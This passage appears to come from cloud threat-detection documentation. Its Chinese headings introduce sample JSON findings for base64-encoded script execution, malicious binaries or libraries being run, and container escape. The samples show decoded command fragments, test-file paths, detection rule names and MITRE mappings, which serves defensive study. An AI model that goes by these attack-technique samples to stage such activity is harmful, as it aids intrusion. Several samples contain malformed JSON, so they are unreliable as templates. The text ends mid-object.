"DEOBFUSCATE_DECODE_FILES_OR_INFO"         "COMMAND_AND_SCRIPTING_INTERPRETER",         "UNIX_SHELL"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/usr/bin/base64\"",           "size": "39096",           "sha256": "a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84",           "hashedSize": "39096",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"base64\"",           "\"-d\"",           "\"cHl0aG9uIC1j\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"HOSTNAME\"",             "val": "\"CONTAINER_NAME\""           },         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "MEDIUM",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_base64_encoded_python_script_executed"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0005/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84/detection"         }       ],       "relatedFindingUri": {}     }   }, }

規避防禦機制：執行 Base64 編碼的殼層指令碼

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Defense Evasion: Base64 Encoded Shell Script Executed",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2025-01-21T19:55:22.017Z",     "database": {},     "eventTime": "2025-01-21T19:55:21.762Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2025-01-21T19:55:19Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2025-01-21T19:55:19.654640277Z"         }       }     ],     "mitreAttack": {},     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "mitreAttack": {       "primaryTactic": "DEFENSE_EVASION",       "primaryTechniques": [         "DATA_ENCODING",         "STANDARD_ENCODING"       ],       "additionalTactics": [         "COMMAND_AND_CONTROL",         "EXECUTION"       ],       "additionalTechniques": [         "COMMAND_AND_SCRIPTING_INTERPRETER",         "UNIX_SHELL",         "OBFUSCATED_FILES_OR_INFO",         "DEOBFUSCATE_DECODE_FILES_OR_INFO"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/usr/bin/base64\"",           "size": "39096",           "sha256": "a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84",           "hashedSize": "39096",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "\"base64\"",           "\"-d\"",           "\"IyEvYmluL2Jhc2gK\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"HOSTNAME\"",             "val": "\"CONTAINER_NAME\""           },         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "MEDIUM",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_base64_encoded_shell_script_executed"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/tactics/TA0005/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal File Link",           "url": "https://www.virustotal.com/gui/file/a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84/detection"         }       ],       "relatedFindingUri": {}     }   }, }

執行：已執行新增的惡意二進位檔

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"     "category": "Execution: Added Malicious Binary Executed",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_URI",         "imageId": "CONTAINER_IMAGE_ID"       }     ],     "createTime": "2023-11-13T19:51:22.538Z",     "database": {},     "eventTime": "2023-11-13T19:51:22.383Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "default",           "containers": [                 {                   "name": "CONTAINER_NAME",                   "uri": "CONTAINER_URI",                   "imageId": CONTAINER_IMAGE_ID"                 }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"         }       ]     },     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "NATIVE_API"       ]     },     "mute": "UNDEFINED",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/tmp/malicious-binary-dd922bc4ee3b49fd-should-trigger\"",           "size": "68",           "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",           "hashedSize": "68",           "partiallyHashed": false         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false         },         "args": [           "\"/tmp/malicious-binary-dd922bc4ee3b49fd-should-trigger\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://10.68.2.129:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-added-test-malicious-binary\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"10.68.2.129\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"DEBIAN_FRONTEND\"",             "val": "\"noninteractive\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://10.68.2.129:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"10.68.2.129\""           },           {             "name": "\"PWD\"",             "val": "\"/malicious_files\""           }         ],         "pid": "7",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "display_name": "CLUSTER_ID",     "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "project_display_name": "PROJECT_ID",     "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parent_display_name": "PROJECT_ID",     "type": "google.container.Cluster",     "folders": []   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "added_malicious_binary_executed"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1699905066",             "nanos": 618571329           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1106/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal IP Link",           "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"         }       ],       "cloudLoggingQueryUri": [         {           "displayName": "Cloud Logging Query Link",           "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T19:51:06.618571329Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"         }       ],       "relatedFindingUri": {}     }   } }

執行：已載入新增的惡意資料庫

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"     "category": "Execution: Added Malicious Library Loaded",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_URI",         "imageId": "CONTAINER_IMAGE_ID"       }     ],     "createTime": "2023-11-13T21:40:14.340Z",     "database": {},     "eventTime": "2023-11-13T21:40:14.209Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "default",           "containers": [                 {                   "name": "CONTAINER_NAME",                   "uri": "CONTAINER_URI",                   "imageId": CONTAINER_IMAGE_ID"                 }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"         }       ]     },     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "SHARED_MODULES"       ]     },     "mute": "UNDEFINED",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/malicious_files/drop_mal_lib\"",           "size": "5005064",           "sha256": "fe2e70de9f77047d3bf5debe3135811300c9c69b937b7fd3e2ca8451a942d5fb",           "hashedSize": "5005064",           "partiallyHashed": false         },         "libraries": [           {             "path": "\"/tmp/added-malicious-library-299fd066380ce690-should-trigger\"",             "size": "68",             "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",             "hashedSize": "68",             "partiallyHashed": false           }         ],         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false         },         "args": [           "\"/malicious_files/drop_mal_lib\"",           "\"/tmp/added-malicious-library-299fd066380ce690-should-trigger\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://10.108.174.129:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-added-malicious-library\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"10.108.174.129\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"DEBIAN_FRONTEND\"",             "val": "\"noninteractive\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://10.108.174.129:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"10.108.174.129\""           },           {             "name": "\"PWD\"",             "val": "\"/malicious_files\""           }         ],         "pid": "8",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "display_name": "CLUSTER_ID",     "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "project_display_name": "PROJECT_ID",     "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parent_display_name": "PROJECT_ID",     "type": "google.container.Cluster",     "folders": []   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "added_malicious_library_loaded"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1699911603",             "nanos": 535268047           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1129/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal IP Link",           "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"         }       ],       "cloudLoggingQueryUri": [         {           "displayName": "Cloud Logging Query Link",           "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:40:03.535268047Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"         }       ],       "relatedFindingUri": {}     }   } }

執行：已執行內建的惡意二進位檔

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"     "category": "Execution: Built in Malicious Binary Executed",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_URI",         "imageId": "CONTAINER_IMAGE_ID"       }     ],     "createTime": "2023-11-13T21:38:57.405Z",     "database": {},     "eventTime": "2023-11-13T21:38:57.250Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "default",           "containers": [                 {                   "name": "CONTAINER_NAME",                   "uri": "CONTAINER_URI",                   "imageId": CONTAINER_IMAGE_ID"                 }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"         }       ]     },     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "NATIVE_API"       ]     },     "mute": "UNDEFINED",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "\"/malicious_files/eicar_testing_file\"",           "size": "68",           "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",           "hashedSize": "68",           "partiallyHashed": false         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false         },         "args": [           "\"/malicious_files/eicar_testing_file\"",           "\"built-in-malicious-binary-818358caa95b6d42\""         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://10.77.124.129:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-built-in-malicious-binary\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"10.77.124.129\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"DEBIAN_FRONTEND\"",             "val": "\"noninteractive\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://10.77.124.129:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"10.77.124.129\""           },           {             "name": "\"PWD\"",             "val": "\"/malicious_files\""           }         ],         "pid": "7",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",     "display_name": "CLUSTER_ID",     "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "project_display_name": "PROJECT_ID",     "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",     "parent_display_name": "PROJECT_ID",     "type": "google.container.Cluster",     "folders": []   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "built_in_malicious_binary_executed"     },     "detectionPriority": "CRITICAL",     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1699911519",             "nanos": 603253608           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1106/"       },       "virustotalIndicatorQueryUri": [         {           "displayName": "VirusTotal IP Link",           "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"         }       ],       "cloudLoggingQueryUri": [         {           "displayName": "Cloud Logging Query Link",           "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.603253608Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"         }       ],       "relatedFindingUri": {}     }   } }

執行：容器跳脫

{   "finding": {     "access": {},     "application": {},     "attackExposure": {},     "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",     "category": "Execution: Container Escape",     "cloudDlpDataProfile": {},     "cloudDlpInspection": {},     "containers": [       {         "name": "CONTAINER_NAME",         "uri": "CONTAINER_IMAGE_URI",         "imageId": "CONTAINER_IMAGE_ID",         "createTime": "2024-06-17T18:50:13Z"       }     ],     "createTime": "2024-10-21T19:08:35.255Z",     "database": {},     "eventTime": "2024-10-21T19:08:35.091Z",     "exfiltration": {},     "findingClass": "THREAT",     "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",     "indicator": {},     "kernelRootkit": {},     "kubernetes": {       "pods": [         {           "name": "CONTAINER_NAME",           "ns": "NAMESPACE",           "containers": [             {               "name": "CONTAINER_NAME",               "uri": "CONTAINER_IMAGE_URI",               "imageId": "CONTAINER_IMAGE_ID",               "createTime": "2024-06-17T18:50:13Z"             }           ]         }       ],       "nodes": [         {           "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"         }       ]     },     "logEntries": [       {         "cloudLoggingEntry": {           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": "2024-10-21T19:07:41.503072537Z"         }       }     ],     "mitreAttack": {       "primaryTactic": "EXECUTION",       "primaryTechniques": [         "USER_EXECUTION"       ],       "additionalTactics": [         "PRIVILEGE_ESCALATION"       ],       "additionalTechniques": [         "ESCAPE_TO_HOST"       ]     },     "mute": "UNDEFINED",     "muteInfo": {       "staticMute": {         "state": "UNDEFINED",         "applyTime": "1970-01-01T00:00:00Z"       }     },     "muteUpdateTime": "1970-01-01T00:00:00Z",     "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",     "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",     "parentDisplayName": "Container Threat Detection",     "processes": [       {         "binary": {           "path": "INTERPRETER",           "size": "147176",           "sha256": "INTERPRETER_SHA_256",           "hashedSize": "147176",           "partiallyHashed": false,           "diskPath": {}         },         "script": {           "size": "0",           "hashedSize": "0",           "partiallyHashed": false,           "diskPath": {}         },         "args": [           "INTERPRETER",           "ARG"         ],         "argumentsTruncated": false,         "envVariables": [           {             "name": "\"KUBERNETES_SERVICE_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"HOSTNAME\"",             "val": "\"ktd-test-container-escape-suspicious-tool-ba379a7c2168db11\""           },           {             "name": "\"HOME\"",             "val": "\"/root\""           },           {             "name": "\"GPG_KEY\"",             "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PATH\"",             "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",             "val": "\"tcp\""           },           {             "name": "\"LANG\"",             "val": "\"C.UTF-8\""           },           {             "name": "\"PYTHON_VERSION\"",             "val": "\"3.12.6\""           },           {             "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",             "val": "\"443\""           },           {             "name": "\"KUBERNETES_PORT_443_TCP\"",             "val": "\"tcp://34.118.224.1:443\""           },           {             "name": "\"KUBERNETES_SERVICE_HOST\"",             "val": "\"34.118.224.1\""           },           {             "name": "\"PWD\"",             "val": "\"/\""           }         ],         "pid": "9",         "parentPid": "1"       }     ],     "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "securityPosture": {},     "severity": "CRITICAL",     "state": "ACTIVE",     "vulnerability": {},     "externalSystems": {}   },   "resource": {     "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",     "displayName": "CLUSTER_ID",     "type": "google.container.Cluster",     "cloudProvider": "GOOGLE_CLOUD_PLATFORM",     "service": "container.googleapis.com",     "location": "ZONE",     "gcpMetadata": {       "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "projectDisplayName": "PROJECT_ID",       "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",       "parentDisplayName": "PROJECT_ID",       "folders": [         {           "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",           "resourceFolderDisplayName": "FOLDER_ID"         }       ],       "organization": "organizations/ORGANIZATION_ID"     },     "resourcePath": {       "nodes": [         {           "nodeType": "GCP_PROJECT",           "id": "projects/PROJECT_ID",           "displayName": "PROJECT_ID"         },         {           "nodeType": "GCP_FOLDER",           "id": "folders/FOLDER_NUMBER",           "displayName": "FOLDER_ID"         },         {           "nodeType": "GCP_ORGANIZATION",           "id": "organizations/ORGANIZATION_ID"         }       ]     },     "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"   },   "sourceProperties": {     "sourceId": {       "projectNumber": "PROJECT_NUMBER",       "customerOrganizationNumber": "ORGANIZATION_NUMBER"     },     "detectionCategory": {       "ruleName": "ktd_container_escape"     },     "affectedResources": [       {         "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"       }     ],     "evidence": [       {         "sourceLogId": {           "projectId": "PROJECT_ID",           "resourceContainer": "projects/PROJECT_NUMBER",           "timestamp": {             "seconds": "1729291973",             "nanos": 687426149           }         }       }     ],     "properties": {},     "findingId": "FINDING_ID",     "contextUris": {       "mitreUri": {         "displayName": "MITRE Link",         "url": "https://attack.mitre.org/techniques/T1611/"       },       